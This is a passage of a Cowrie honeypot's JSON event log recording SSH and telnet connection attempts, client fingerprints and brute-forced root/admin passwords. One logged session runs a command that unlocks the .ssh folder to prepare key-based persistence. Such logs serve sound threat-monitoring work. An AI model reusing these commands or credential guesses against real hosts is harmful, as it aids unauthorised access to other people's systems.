{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:41.645128Z","src_ip":"176.32.39.21","session":"76f1193c5853","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hammer","message":"login attempt [root/hammer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:41.679177Z","src_ip":"38.93.206.2","session":"1a82069d16d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:42.757593Z","src_ip":"38.93.206.2","session":"1a82069d16d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:42.807470Z","src_ip":"122.51.73.24","session":"d4a70b868f09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43584,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd3409d8eb75","protocol":"telnet","message":"New connection: 192.119.13.58:43584 (10.17.0.5:23) [session: dd3409d8eb75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:43.035900Z"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":46842,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fd9fa987ed2","protocol":"ssh","message":"New connection: 175.118.127.138:46842 (10.17.0.5:22) [session: 8fd9fa987ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:44.042217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:44.048991Z","src_ip":"175.118.127.138","session":"8fd9fa987ed2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:44.227352Z","src_ip":"175.118.127.138","session":"8fd9fa987ed2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin.123456","message":"login attempt [root/admin.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:44.968275Z","src_ip":"175.118.127.138","session":"8fd9fa987ed2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56788,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4c08dacb71f","protocol":"telnet","message":"New connection: 192.119.13.58:56788 (10.17.0.5:23) [session: d4c08dacb71f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:46.117601Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:46.151441Z","src_ip":"175.118.127.138","session":"8fd9fa987ed2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.838948011398315,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:46.682563Z","src_ip":"192.119.13.58","session":"b90cd5e600c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34212,"dst_ip":"10.17.0.5","dst_port":23,"session":"921c002df329","protocol":"telnet","message":"New connection: 192.119.13.58:34212 (10.17.0.5:23) [session: 921c002df329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:47.498642Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48094,"dst_ip":"10.17.0.5","dst_port":23,"session":"959cca932694","protocol":"telnet","message":"New connection: 192.119.13.58:48094 (10.17.0.5:23) [session: 959cca932694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:50.827543Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58260,"dst_ip":"10.17.0.5","dst_port":23,"session":"11f6b321ec47","protocol":"telnet","message":"New connection: 192.119.13.58:58260 (10.17.0.5:23) [session: 11f6b321ec47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:53.258147Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59048,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c9e68b6f8f0","protocol":"telnet","message":"New connection: 192.119.13.58:59048 (10.17.0.5:23) [session: 8c9e68b6f8f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:53.465311Z"}
{"eventid":"cowrie.session.closed","duration":0.0058481693267822266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:53.471028Z","src_ip":"192.119.13.58","session":"8c9e68b6f8f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40780,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ca8dab7d1e9","protocol":"telnet","message":"New connection: 192.119.13.58:40780 (10.17.0.5:23) [session: 9ca8dab7d1e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:16:55.915300Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36878,"dst_ip":"10.17.0.5","dst_port":23,"session":"a226726d9c69","protocol":"telnet","message":"New connection: 192.119.13.58:36878 (10.17.0.5:23) [session: a226726d9c69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:01.741996Z"}
{"eventid":"cowrie.session.closed","duration":42.64104747772217,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:05.832595Z","src_ip":"192.119.13.58","session":"abe42e72407e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.35068917274475,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:07.363909Z","src_ip":"192.119.13.58","session":"9ba7f5198cae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36072,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffab56d82905","protocol":"telnet","message":"New connection: 192.119.13.58:36072 (10.17.0.5:23) [session: ffab56d82905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:08.178930Z"}
{"eventid":"cowrie.session.closed","duration":37.39385676383972,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:08.675721Z","src_ip":"192.119.13.58","session":"0aabfccd0c15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.25510501861572,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:08.929847Z","src_ip":"192.119.13.58","session":"edc91ddae974","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.058215618133545,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:11.980485Z","src_ip":"192.119.13.58","session":"2f72ab39dbb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.048802852630615,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:13.897548Z","src_ip":"192.119.13.58","session":"3638bf02dca9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.57394480705261,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:13.966606Z","src_ip":"192.119.13.58","session":"d47c11a37ee7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.86729621887207,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:14.206349Z","src_ip":"192.119.13.58","session":"c3342eeb3ea0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34006,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e29cb0cb779","protocol":"telnet","message":"New connection: 192.119.13.58:34006 (10.17.0.5:23) [session: 3e29cb0cb779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:14.398554Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43942,"dst_ip":"10.17.0.5","dst_port":23,"session":"2042a7699876","protocol":"telnet","message":"New connection: 192.119.13.58:43942 (10.17.0.5:23) [session: 2042a7699876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:16.682654Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45400,"dst_ip":"10.17.0.5","dst_port":23,"session":"2edd04cf3999","protocol":"telnet","message":"New connection: 192.119.13.58:45400 (10.17.0.5:23) [session: 2edd04cf3999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:16.986320Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49818,"dst_ip":"10.17.0.5","dst_port":23,"session":"d82e8b5fa25c","protocol":"telnet","message":"New connection: 192.119.13.58:49818 (10.17.0.5:23) [session: d82e8b5fa25c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:18.050554Z"}
{"eventid":"cowrie.session.closed","duration":38.89151334762573,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:18.258887Z","src_ip":"192.119.13.58","session":"981b72ef8d0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":53666,"dst_ip":"10.17.0.5","dst_port":22,"session":"83b9e8413718","protocol":"ssh","message":"New connection: 147.45.197.250:53666 (10.17.0.5:22) [session: 83b9e8413718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:19.682371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:19.688747Z","src_ip":"147.45.197.250","session":"83b9e8413718","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:19.783732Z","src_ip":"147.45.197.250","session":"83b9e8413718","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ivanova","message":"login attempt [root/ivanova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:20.067346Z","src_ip":"147.45.197.250","session":"83b9e8413718","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:21.162688Z","src_ip":"147.45.197.250","session":"83b9e8413718","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.213443994522095,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:24.330924Z","src_ip":"192.119.13.58","session":"d4c08dacb71f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44748,"dst_ip":"10.17.0.5","dst_port":23,"session":"721b2738ad0f","protocol":"telnet","message":"New connection: 192.119.13.58:44748 (10.17.0.5:23) [session: 721b2738ad0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:30.498455Z"}
{"eventid":"cowrie.session.closed","duration":44.93055582046509,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:32.429028Z","src_ip":"192.119.13.58","session":"921c002df329","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00205373764038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:32.743923Z","src_ip":"192.119.13.58","session":"a226726d9c69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.63814878463745,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:33.465598Z","src_ip":"192.119.13.58","session":"959cca932694","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57168,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f12dd114233","protocol":"telnet","message":"New connection: 192.119.13.58:57168 (10.17.0.5:23) [session: 3f12dd114233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:33.522133Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57646,"dst_ip":"10.17.0.5","dst_port":23,"session":"111cbc43c738","protocol":"telnet","message":"New connection: 192.119.13.58:57646 (10.17.0.5:23) [session: 111cbc43c738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:33.635436Z"}
{"eventid":"cowrie.session.closed","duration":39.658291816711426,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:35.573482Z","src_ip":"192.119.13.58","session":"9ca8dab7d1e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.815661668777466,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:36.073701Z","src_ip":"192.119.13.58","session":"11f6b321ec47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.66285848617554,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:37.698627Z","src_ip":"192.119.13.58","session":"dd3409d8eb75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49812,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2ab0c3435ba","protocol":"telnet","message":"New connection: 192.119.13.58:49812 (10.17.0.5:23) [session: b2ab0c3435ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:38.537858Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.51.73.24","src_port":36011,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd2bc26666ca","protocol":"ssh","message":"New connection: 122.51.73.24:36011 (10.17.0.5:22) [session: fd2bc26666ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:39.616051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:39.624399Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":37124,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6b50e2ff11d","protocol":"ssh","message":"New connection: 193.32.162.145:37124 (10.17.0.5:22) [session: a6b50e2ff11d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:40.091791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:40.097242Z","src_ip":"193.32.162.145","session":"a6b50e2ff11d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:40.211391Z","src_ip":"193.32.162.145","session":"a6b50e2ff11d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"moonbeam","message":"login attempt [root/moonbeam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:40.542888Z","src_ip":"193.32.162.145","session":"a6b50e2ff11d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:41.182645Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:41.651327Z","src_ip":"193.32.162.145","session":"a6b50e2ff11d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminpass","message":"login attempt [admin/adminpass] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:41.940723Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:42.488740Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:42.492284Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:42.496073Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.8","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:43.290991Z","src_ip":"122.51.73.24","session":"fd2bc26666ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63580,"dst_ip":"10.17.0.5","dst_port":22,"session":"640f401a83bc","protocol":"ssh","message":"New connection: 152.42.212.128:63580 (10.17.0.5:22) [session: 640f401a83bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:17:45.059340Z"}
